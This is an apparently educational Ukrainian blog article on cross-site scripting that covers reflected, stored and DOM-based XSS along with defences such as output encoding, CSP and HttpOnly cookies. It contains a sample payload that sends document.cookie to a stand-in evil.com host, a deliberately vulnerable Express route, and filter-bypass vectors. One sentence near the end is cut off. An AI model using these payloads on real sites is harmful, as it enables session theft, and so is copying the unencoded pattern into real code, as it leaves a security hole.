arrow_backНазад до польових записів
WEB SECURITY Опубліковано 9 Aug 2026

Cross-Site Scripting: чому XSS все ще небезпечний у 2024

Практичний розбір reflected, stored та DOM-based XSS, як їх експлуатують атакуючі і як їх насправді зупинити.

XSS перебуває у OWASP Top 10 вже два десятиліття, і це все ще одна з перших речей, які перевіряє пентестер. Вразливість легко пояснити, але складно повністю закрити: атакуючий отримує можливість запустити свій JavaScript у браузері жертви під походженням вашого сайту. Після цього він може читати cookies, підробляти запити або просто переписати сторінку перед користувачем.

Три типи

Reflected XSS — це класична фішингова атака з посиланням. Пошукова сторінка отримує ?q= з URL і друкує його прямо в HTML без кодування. Надішліть комусь посилання на кшталт https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> і якщо вони клікнуть по ньому, перебуваючи у системі, їхня сесійна cookie потрапить атакуючому.

Stored XSS гірше, тому що не потребує посилання. Поле коментаря, біографія профілю, опис заявки в службу підтримки — будь-яке місце, де введення користувача зберігається і пізніше виводиться іншим користувачам. Опублікуйте payload один раз, і кожен відвідувач, який переглядає цю сторінку, отримає атаку, без соціальної інженерії.

DOM-based XSS існує виключно в клієнтському коді. Сервер ніколи не бачить шкідливого payload; це JavaScript, який читає щось на кшталт location.hash або document.referrer і впихає це в innerHTML або eval(). Цей тип бентежить людей, тому що серверне логування виглядає абсолютно чистим.

Звідки це дійсно береться

Більшість XSS-вразливостей зводяться до однієї помилки: трактування недовіреного даних як довіреної розмітки чи коду. Слід звернути увагу на поширені місця в JavaScript: innerHTML, outerHTML, document.write, eval, setTimeout з аргументом-рядком та jQuery .html(). На серверній стороні обидва шаблонізатори, які не використовують auto-escape за замовчуванням (конкатенація сирих рядків у HTML), — звичайна причина.

Швидкий приклад з реального світу: Node/Express додаток, що робить

app.get('/greet', (req, res) => {
  res.send(`<h1>Hello ${req.query.name}</h1>`);
});

має негайну reflected XSS. req.query.name потрапляє прямо у відповідь без жодного кодування. Будь-хто, хто перейде за /greet?name=<img src=x onerror=alert(document.domain)>, доведе це приблизно за дві секунди.

Справжнє виправлення

Кодування виводу, залежне від контексту, — це справжнє виправлення, не обхідне розв'язання. Тіло HTML, атрибут HTML, рядок JavaScript та контексти URL кожен потребує різних правил кодування — бібліотека на кшталт OWASP Java Encoder або вбудований auto-escape у шаблонізаторах на кшталт Jinja2, React JSX чи Handlebars обробляє це коректно. React особливо екранує текстовий вміст за замовчуванням, тому dangerouslySetInnerHTML названий саме так: це етикетка попередження.

Валідація введення допомагає, але недостатня сама по собі. Заборона тегів <script> постійно обходиться — <img src=x onerror=...>, <svg onload=...> або обробники подій на майже будь-якому тегу все працюють. Дозвіл очікуваних форматів (regex електронної пошти, числовий ID) корисний як додатковий шар, але він не замінює належне кодування виводу.

Content-Security-Policy — найсильніший доступний шар оборони в глибину. Політика на кшталт

Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';

блокує вбудовані скрипти та сторонні джерела скриптів, якщо вони явно не мають nonce або не у списку дозволів, що зупиняє більшість XSS-payload від виконання, навіть якщо вони пройдуть повз кодування. Уникайте unsafe-inline та unsafe-eval у виробничих CSP; вони знищать більшість захисту.

Установлюйте cookies з прапорцями HttpOnly та Secure, щоб навіть успішна XSS не могла читати сесійну cookie прямо через document.cookie. Це не зупиняє впровадження, але значно обмежує масштаб ураження.

Тестування самостійно

Активний сканер Burp Suite ловить багато reflected та stored XSS автоматично, але ручне тестування все ще важливе для DOM-based випадків. Інструменти на кшталт власного набору тестів DOMPurify або просто grep вашої кодової бази для innerHTML = та eval( швидко виявлять неймовірну кількість проблем. Для ручної перевірки payload

Написано з допомогою штучного інтелекту, перевірено та опубліковано Мішалем Пільчем (CISSP), Korra Studio.

Готові йти далі?

Це одна замітка з бази знань Korra Studio — платформа поєднує кожну тему з 1-на-1 менторингом.

Початок безплатноarrow_forward